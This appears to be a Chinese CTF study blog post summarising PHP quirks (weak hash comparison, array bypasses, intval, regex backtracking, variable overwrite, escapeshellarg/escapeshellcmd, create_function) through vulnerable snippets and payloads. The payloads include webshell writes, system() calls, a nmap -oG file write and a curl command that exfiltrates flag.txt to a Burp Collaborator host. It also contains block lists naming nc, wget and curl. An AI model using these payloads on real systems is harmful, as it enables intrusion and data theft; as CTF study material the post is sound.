PHP特性总结
John_Frod Lv4

PHP特性总结


Hash比较缺陷

PHP在处理哈希字符串时,通过!===来对哈希值进行比较,它把每一个以0e开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以0e开头的,那么PHP将会认为他们相同,都是0

example:

1
2
3
4
5
6
7
8
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b']) {
if (md5($_GET['a']) == md5($_GET['b'])) {
die('Flag:'.$flag);
}else
print 'Wrong';
}
}

这里需要我们输入的参数a和b要不相同,但是他们的MD5要相同,这明显就是利用Hash的比较缺陷

我们只需要找出两个数MD5加密之后是以0e开头即可,常用的有以下几种

1
2
3
4
5
6
7
QNKCDZO ==> 0e830400451993494058024219903391
s878926199a ==> 0e545993274517709034328855841020
s155964671a ==> 0e342768416822451524974117254469
s214587387a ==> 0e848240448830537924465865611904
s214587387a ==> 0e848240448830537924465865611904
s878926199a ==> 0e545993274517709034328855841020
s1091221200a ==> 0e940624217856561557816327384675

MD5

md5函数绕过

  • md5()函数获取不到数组的值,默认数组为0

example:

1
2
3
4
5
6
7
8
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] == $_GET['b'])
echo "a can not equal b";
else if (sha1($_GET['a']) === sha1($_GET['b'])) {
die("yes");
}else
print 'Wrong';
}

payload:

1
a[]=1&b[]=2
  • sha1()函数无法处理数组类型,将报错并返回false

example:

1
2
3
4
5
6
7
8
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] == $_GET['b'])
echo "a can not equal b";
else if (sha1($_GET['a']) === sha1($_GET['b'])) {
die("yes");
}else
print 'Wrong';
}

payload:

1
a[]=1&b[]=2

md5强类型绕过

example:

1
2
3
4
5
6
7
if (isset($_GET['a']) and isset($_GET['b'])) {
if ((string)$_GET['a'] !== (string)$_GET['b']) {
if (md5($_GET['a']) === md5($_GET['b']))
die("yes");
}else
print 'Wrong';
}

例如这段代码,使用数组就不可行,因为最后转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串,两组经过url编码后的值:

1
2
3
4
5
6
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

intval函数绕过

1
intval ( mixed $value , int $base = 10 ) : int

value: 要转换成 integer 的数量值

base: 转化所使用的进制

  • 特性一

成功时返回 value 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

  • 特性二

    如果 base 是 0,通过检测 value 的格式来决定使用的进制:

    • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
    • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
    • 将使用 10 进制 (decimal)。

example:

1
2
3
4
5
6
7
8
9
10
11
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num === "4476") {
die("no no no");
}
if (intval($num,0) === 4476) {
echo "success!";
}else {
echo intval($num,0);
}
}

可以利用八进制和十六进制:

1
2
num=0x117c
num=010574

除此之外,这个函数还可以使用小数点来进行操作:

1
num=4476.56
  • 特性三

如果$base0直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换,但前提是进行弱类型比较

example:

1
2
3
4
5
6
7
8
9
10
11
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num == "4476") {
die("no no no");
}
if (intval($num,0) == 4476) {
echo "success!";
}else {
echo intval($num,0);
}
}

payload:

1
num=4476a

preg_match函数绕过

1
preg_match ( string $pattern , string $subject , array &$matches = null , int $flags = 0 , int $offset = 0 ) : int|false

pattern: 要搜索的模式,字符串类型。

subject: 输入字符串。

matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。

/m

1
preg_match('/^php$/im',$a)

/m 多行匹配,但是当出现换行符 %0a的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。

回溯绕过

这里要理解正则匹配的过程

PHP正则利用的是NFA(非确定性有限自动机)。

遇到.*或者.+:直接匹配字符串末尾,然后一个个回溯,与之后的模式比较

遇到.*?或者.+?:非贪婪模式,在匹配到符合的字符串,停止,由下一个模式匹配,下一个模式不符合,回溯,再由.*?匹配,直到下一个模式符合

example:

1
2
3
4
5
6
7
8
9
10
if (isset($_POST['f'])) {
$f = $_POST['f'];
if (preg_match('/<\?.*[(`;?>].*/is', $f)) {
die('bye!!');
}
if (stripos($f, '<?php phpinfo();') === FALSE) {
die('bye!!');
}
echo 'success!';
}

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限

image-20210507105919328

回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF

1
2
3
4
5
6
7
import requests
url = 'http://127.0.0.1/test.php'
data = {
'f': '<?php phpinfo();//'+'a'*1000000
}
reponse = requests.post(url, data=data)
print(reponse.text)

preg_replace /e 模式下的代码执行

1
preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}

这里使用了/e模式,输入的参数和对应的参数值分别对应于匹配的模式和用于正则匹配的字符串,这两个参数都可以通过GET方式进行控制,但是第二个参数写定了strtolower("\\1"),那么要如何执行代码呢

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项

当我们传入:

1
.*={${phpinfo()}}

GET 方式传入的参数名为 .*,值为 ${phpinfo()}

1
2
3
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
相当于:eval('strtolower({${phpinfo()}});');

而由于.属于非法的参数名,在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效,因此可以换成\S*

下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。


in_array宽松比较

1
in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool

大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。

1
2
3
4
var_dump(in_array('1john',[1,2,7,9]));      //bool(true)
var_dump(in_array('john', [1,2,7,9], true)); //bool(false)
var_dump(in_array(0, array('s'))); //bool(true)
var_dump(in_array('abc', [0,1,2,3])); //bool(true)

example:

1
2
3
4
5
6
7
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if (isset($_GET['n']) && in_array($_GET['n'], $allow)) {
file_put_contents($_GET['n'], $_POST['content']);
}

上面的函数用循环生成了一个只有数字的数组,这里我们传入的参数n只要有数字,那么in_array()返回的结果就为true,就可以而绕过只有数字的限制,从而能够把<?php system('cat *.php')>写入了1.php

1
2
n=1.php
content=<?php system('cat *.php');?>

然后访问1.php就可以通过命令执行获取我们想要的内容


变量覆盖

extract函数、parse_str函数

1
extract ( array &$array , int $flags = EXTR_OVERWRITE , string $prefix = "" ) : int

函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。

example:

1
2
3
4
5
6
7
8
$pass = '123';
$thepassword_123 = '456';
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
extract($_POST);
if ($pass == $thepassword_123) {
echo 'succss!';
}
}

POST方法传输进来的值通过extrace()函数处理,直接传入以POST的方式传入pass=1&thepassword_123=1就可以进行将原本的变量覆盖,并且使两个变量相等即可。

payload:

1
POST:pass=1&thepassword_123=1

还有就是parse_str()extract()两个函数如果结合起来使用,也会造成变量覆盖

1
parse_str ( string $string , array &$result ) : void

如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

example:

1
2
3
4
5
6
7
8
9
10
$key1 = '123';
$key2 = '456';
if (isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die('nononono!!');
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if ($key1 == '36d' && $key2 == '36d') {
echo 'succss!';
}

这里禁止了通过GET或POST方法传key的值,但是有parse_str()

代码中同时含有parse_str()extract($_POST)可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:

1
?_POST[key1]=36d&_POST[key2]=36d

$$变量覆盖

$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用**$GLOBALS(引用全局作用域中可用的全部变量)**来做题。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$flag = 'Aurora';
$error = '你还想要flag嘛?';
$suces = '既然你想要那就给你吧!';

foreach ($_GET as $key => $value) {
if($key === 'error') {
die('what are you doing?!');
}
$$key = $$value;
}

foreach ($_POST as $key => $value) {
if ($value === 'flag') {
die('what are you doing?!');
}
$$key = $$value;
}

if (!($_POST['flag']===$flag)) {
die($error);
}

echo "you are good".$flag."\n";
die($suces);

这里第一次看有点绕,先说主要思路,由于我们不知道$flag的值,那么我们肯定会输出$error,那么就需要想办法把$error的值变成$flag的值。

  • 首先我们看第一个foreach
1
2
3
4
5
6
foreach ($_GET as $key => $value) {
if($key === 'error') {
die('what are you doing?!');
}
$$key = $$value;
}

这里把我们GET方法传入的参数通过可变变量进行赋值,那么我们可以考虑是不是可以直接传入?error=flag,那么在后端程序中就是把$error=$flag,但是不允许我们传入error名字的参数,因此要找一个中间过渡的参数。

  • 接着看第二个foreach
1
2
3
4
5
foreach ($_POST as $key => $value) {
if ($value === 'flag') {
die('what are you doing?!');
}
$$key = $$value;

这里和第一个foreach一样,只是禁止了参数的值为flag,也就是说同样不能通过传error=flag,但是两个结合就可以绕过这个限制,我们设置一个中间过渡的参数test,在GET方法传入test=flag,在代码中相当于$test = $flag,在POST方法中传入error=test ,在代码中相当于$error = $test,这就能够把$flag的值传给了$error

payload:

1
2
?test=flag
POST:error=test

通过数组绕过

ereg()函数

1
int ereg(string pattern, string originalstring, [array regs]);

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

  • ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。
  • ereg()只能处理字符串的,遇到数组做参数返回NULL。
  • 空字符串的类型是stringNULL的类型是NULL,false、trueboolean类型

strpos()函数

1
strpos ( string $haystack , mixed $needle , int $offset = 0 ) : int

返回 needlehaystack 中首次出现的数字位置。

  • strpos()函数如果传入数组,便会返回NULL

strcmp()函数

1
strcmp ( string $str1 , string $str2 ) : int

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

strcmp()函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,会返回NULL

example:

1
2
3
4
5
6
7
8
9
10
11
$pass = @$_POST['pass'];
$pass1 = '*****'; //你不知道的密码
if (isset($pass)) {
if (@!strcmp($pass, $pass1)) {
echo "success!!";
}else {
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}

这里通过传入数组也可以让比较结果返回NULLNULL再取反为TRUE

payload:

1
pass[]=1

PHP自身特性

PHP的变量名格式

example:

1
2
3
if (isset($_POST['C_T_F']) && isset($_POST['CTF_1.2'])) {
echo "success!";
}

$_POST['CTF_1.2']无法传入参数,这是因为PHP变量名应该只有数字字母下划线。而且GET或POST方式传进去的变量名,会自动将空格+.[转换为_

payload:

1
POST: C.T.F=1&CTF[1.2=1

PHP数字可与字符做运算

example:

1
eval("return 1%phpinfo();");

escapeshellarg&escapeshellcmd函数绕过

escapeshellarg

1
escapeshellarg ( string $arg ) : string

把字符串转码为可以在 shell 命令里使用的参数。将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。

image-20210510210259289

在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。

image-20210510202330478

所以即使参数用了 escapeshellarg() 函数过滤单引号,但参数在拼接命令的时候如果用了双引号的话还是会导致命令执行的漏洞。

escapeshellcmd

1
escapeshellcmd ( string $command ) : string

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$\, \x0A\xFF'" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %!字符都会被空格代替。

image-20210510210211881

两个函数都会对单引号进行处理,但是有区别的,如下:

image-20210510204324543

对于单个单引号, escapeshellarg() 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd() 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd()函数默认不转义,但 escapeshellarg() 函数转义

escapeshellarg&escapeshellcmd

那既然有这个差异,如果escapeshellcmd()escapeshellarg() 一起出现会有什么问题

example:

1
2
3
4
5
6
7
8
$para = "127.0.0.1' -v -d a=1";
$a = escapeshellarg($para);
$b = escapeshellcmd($a);
$cmd = "curl ".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);

结果:

image-20210510210925093

分析:

  1. 一开始传入的参数:
1
127.0.0.1' -v -d a=1
  1. 由于escapeshellarg()先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
1
'127.0.0.1'\'' -v -d a=1'
  1. 经过escapeshellcmd()针对第二步处理之后的参数中的\以及a=1'中的单引号进行处理转义之后的效果如下所示:
1
'127.0.0.1'\\'' -v -d a=1\'
  1. 由于第三步处理之后的payload中的\\被解释成了\而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:

image-20210510214641973

所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1',即向127.0.0.1\发起请求,POST 数据为a=1'

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

代码中是先使用了escapeshellarg()函数,再使用escapeshellcmd()函数便会引发上面的问题,将传入的参数经过上述两个函数执行后,再用system()函数使用nmap命令,把参数作为主机拼接进命令里面。这里需要知道的是namp命令的-oG参数可以将命令和结果写进文件。

payload:

1
?host= '<?php phpinfo();?> -oG 1.php '

解释:

  • 首先是escapeshellarg()会先对host变量中的单引号进行转义,并且转义之后,在 \' 的左右两边再加上单引号,变成 '\'',最后会在参数两边加上单引号:
1
''\''<?php phpinfo();?> -oG 1.php '\'''
  • 然后是escapeshellcmd()会对特定字符再加上一个\进行转义,同时对配对的'不会做处理:
1
''\\''\<\?php phpinfo\(\)\;\?\> -oG 1.php '\\'''
  • 最后拼接到system()函数里面是
1
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php phpinfo\(\)\;\?\> -oG 1.php '\\'''

相当于:

1
nmap -T5 -sT -Pn --host-timeout 2 -F \ <?php phpinfo();?> -oG 1.php \\

这样就成功把这条命令写进了文件里,再访问这个文件即可进行利用。

image-20210511105424059

值得一提的是我在本地测试的时候由于www-data用户没有创建文件的权限,因此复现不了,解决方法是创建一个文件夹给予所有权限然文件在里面运行即可。


PHP精度绕过缺陷

浮点运算

在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值

image-20210511114413456

输出的是57,而我们预想的应该是58。简单的说因为PHP 通常使用 IEEE 754 双精度格式而且由于浮点数的精度有限的原因。除此之外取整而导致的最大相对误差为 1.11e-16,当小数小于10^-16后,PHP对于小数就大小不分了:

1
2
3
echo (1.0000000000001); //13位小数 输出:10000000000001

echo (1.0000000000000001); //16位小数 输出:1

example:

1
2
3
4
$
if(md5(trick1) === md5(trick2) && trick1 == trick2){
echo "successs!";
}

这道题是考察浮点数精度问题导致的大小比较以及函数处理问题,当小数小于10^-16后,PHP对于小数就大小不分了

1
2
var_dump(1.0000000000000001 == 1) >> TRUE
var_dump(1.0000000000000001 === 1) >> FALSE

0.999999999999999917个9)经过strlen函数会判断为1

1
2
var_dump(0.99999999999999999 == 1 );  >> TRUE
var_dump(0.99999999999999999 === 1 ); >> FALSE

最后看一下md5函数处理后是否相同

1
2
var_dump(md5(0.99999999999999999) == md5(1) );  >> TRUE
var_dump(md5(0.99999999999999999) === md5(1) ); >> TRUE

因此当我们输入trick1=1trick2=0.99999999999999999能满足题目中在弱比较中是相等的,而且md5的强比较也是相等。


PHP中类的运用

反射类ReflectionClass

首先看一下反射类的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class fuc { //定义一个类
static function ec() {
echo '我是一个类';
}
}

$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec

/*最后输出:我是一个类*/
#还有其他用法
$ec=$class->getmethod('ec'); //获取fuc类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc); //执行ec方法

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);

//这一部分的类由其他文件引入,用户不可见
class aurora { //定义一个类
public $Flag_is_Aurora = 1;
}

//以下是用户可见部分
$aurora = new aurora();
//flag is in class aurora
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
eval("$v2('aurora')$v3");
}

payload:

1
v1=1&v2=echo new ReflectionClass&v3=;

输入一个数字和两个字符让$v0的值为TURE,然后构造eval()函数里面执行的命令为eval(echo new ReflectionClass('aurora');),执行的结果如下图:

image-20210511151216348

把类里面属性和方法的名字都能够显示出来。

异常处理类Exception

先简单了解一下PHP异常处理

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 创建一个有异常处理的函数
function checkNum($number) {
if($number>1) {
throw new Exception("变量值必须小于等于 1");
}
return true;
}

// 在 try 块 触发异常
try {
checkNum(2);
// 如果抛出异常,以下文本不会输出
echo '如果输出该内容,说明 $number 变量';
}
// 捕获异常
catch(Exception $e) {
echo 'Message: ' .$e->getMessage();
}
?>

上面代码将得到类似这样一个错误:Message: 变量值必须小于等于 1

example:

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['v1']) && isset($_GET['v2'])) {
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)) {
eval("echo new $v1($v2());");
}
}

这里看似用正则把不是字母的字符串都过滤了,实际上这里的正则没写好,只要第一个字符是字母即可绕过。这里可以直接new一个Exception运行我们想要的命令就可以把内容回显出来。

payload:

1
?v1=Exception&v2=system('ls')

内置类FilesystemIterator

PHP使用FilesystemIterator迭代器遍历目录

1
2
3
4
5
$a = new FilesystemIterator('.');
while($a->valid()) { //判断是否到底
echo $a->getFilename()."\n"; //输出文件或者文件夹
$a->next(); //指针移向下一个
}

这样会把当前文件夹里面所有的文件和目录都输出出来。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
1
getcwd ( ) : string|false

成功则返回当前工作目录,失败返回 **false**。

payload:

1
?v1=FilesystemIterator&v2=getcwd

会显示当前文件夹中的最后一个文件。


/proc/self/root绕过is_file函数

1
is_file ( string $filename ) : bool

判断给定文件名是否为一个正常的文件。

在linux中/proc/self/root是指向根目录的,将/proc/self/root重复一定次数就可以绕过is_file()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

payload:

1
2
3
4
5
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/flag

当然这里也有其他的绕过方法:

1
?file=compress.zlib:///flag

gettext&get_defined_vars函数

php的扩展gettext实现程序的国际化

image-20210511215233675

_()是gettext()函数的简写形式,能够利用这点绕过字符的限制。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
$flag = "success!"; 
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)) {
var_dump(call_user_func(call_user_func($f1, $f2)));
} else {
echo "嗯哼?";
}

function check($str) {
return !preg_match('/[0-9]|[a-z]/i' ,$str);
}
1
call_user_func ( callable $callback , mixed $parameter = ? , mixed $... = ? ) : mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

那既然变量$f1过滤数字和字母,就可以使用该符号来代替这个函数,这样便可以绕过第一个嵌套,然后再由最外面的call_user_func()执行命令

  1. 第一步
1
call_user_func(call_user_func('_','phpinfo'))  >> call_user_func(_('phpinfo'))
  1. 第二步
1
call_user_func(_('phpinfo')) >> call_user_func('phpinfo')
  1. 第三步
1
call_user_func('phpinfo') >> phpinfo()

最后就能够把PHP的配置信息显示出来。


Linux tee命令

1
tee [参数] [文件]

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

1
2
tee file1 file2  //将输入的内容覆盖到这两个文件里面
ls|tee 1.txt //将ls命令的输出显示并保存到1.txt文件中

example:

1
2
3
4
5
6
7
8
9
10
11
12
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);

由于这里使用的是exec()函数执行命令,结果并不会回显,因此这里我们需要把想要获取的内容写入到文件里面,再访问这个文件。用黑名单过滤了>,因此无法写入文件,过滤php,也就无法写入一句话木马,但是可以利用tee命令将其他命令返回的结果写入到文件中,payload:

1
?c=cat /flag|tee tmp

然后访问tmp即可。


传参变量覆盖

假设有这么一段代码:

1
2
$F = $_GET['F'];
eval(substr($F, 0, 5));

当我们传的参数是$F本身,就会出现变量覆盖:

1
?F=`$F`;sleep 5
  1. 首先是经过substr()函数
1
eval(substr($F, 0, 5));	>>	eval(`$F`;);
  1. 然后是反引号执行
1
eval(`$F`;);	>>	eval(`$F`;sleep 5;);

执行后会休眠5秒。

example:

1
2
3
4
5
6
7
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

这里curl命令没有被过滤。可以借此来把文件内容外带出来。这里还要用到Burp 的Collaborator client。

payload:

1
?F=`$F `;curl -X POST -F test=@flag.txt 5jpx4t2xg6r9iyulvgaypqw37udk19.burpcollaborator.net

image-20210512111833668


call_user_func读取类中的函数

call_user_func函数可以调用类中的函数

1
2
3
4
5
6
7
8
9
10
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));

定义一个类myclass及类方法say_hello,call_user_func()的输入参数变为一个数组,数组第一个元素为对象名、第二个元素为参数

image-20210512112556095

example:

1
2
3
4
5
6
7
8
class myclass {
static function getFlag()
{
echo file_get_contents("flag.txt");
}
}

call_user_func($_GET['a']);

这个例子就是一个简单的利用了call_user_func()能够调用类里面的方法,payload:

1
?a[0]=myclass&a[1]=getFlag

create_function函数

1
create_function ( string $args , string $code ) : string

从传递的参数创建匿名函数,并为其返回一个唯一的名称。‎

1
2
3
4
5
create_function('$a,$b','return 111');
相当于如下:
function a($a, $b){
return 111;
}

所以那如果我们这样进行构造payload

1
2
3
4
5
create_function('$a,$b','return 111;}phpinfo();//');
相当于如下:
function a($a, $b){
return 111;}phpinfo();//
}

phpinfo()便会被执行。


参考资料

CTF/PHP特性汇总

  • Post title:PHP特性总结
  • Post author:John_Frod
  • Create time:2021-05-12 14:50:55
  • Post link:https://keep.xpoet.cn/2021/05/12/PHP特性总结/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.